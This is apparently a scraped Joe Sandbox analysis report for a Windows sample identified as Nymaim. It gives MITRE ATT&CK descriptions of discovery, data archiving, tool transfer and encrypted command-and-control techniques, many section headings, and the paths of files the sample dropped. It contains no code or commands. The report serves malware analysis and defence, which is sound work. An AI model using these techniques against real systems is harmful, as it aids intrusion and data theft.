
Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1ibwQtrqNy.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Nymaim

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\FLSCover\Rec528\Preview.exe (copy)

C:\Program Files (x86)\FLSCover\Rec528\Readme.txt (copy)

C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

C:\Program Files (x86)\FLSCover\Rec528\data\Config.xml (copy)

C:\Program Files (x86)\FLSCover\Rec528\data\is-O02RD.tmp

C:\Program Files (x86)\FLSCover\Rec528\finalrecovery.chm (copy)

C:\Program Files (x86)\FLSCover\Rec528\is-0I9HC.tmp

C:\Program Files (x86)\FLSCover\Rec528\is-D912P.tmp

C:\Program Files (x86)\FLSCover\Rec528\is-EJ9G4.tmp

C:\Program Files (x86)\FLSCover\Rec528\is-Q8OGG.tmp

C:\Program Files (x86)\FLSCover\Rec528\is-U3J98.tmp

C:\Program Files (x86)\FLSCover\Rec528\unins000.dat

C:\Program Files (x86)\FLSCover\Rec528\unins000.exe (copy)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\stuk[1].htm

Windows Analysis Report
1ibwQtrqNy.exe

Function 00409764 Relevance: 7.6, APIs: 5, Instructions: 78
memoryCOMMON

Function 004051D8 Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Function 004095BC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 90
windowCOMMON

Function 00409CF7 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 107
COMMON

Function 00408D48 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
COMMON

Function 00409A71 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 119
windowCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre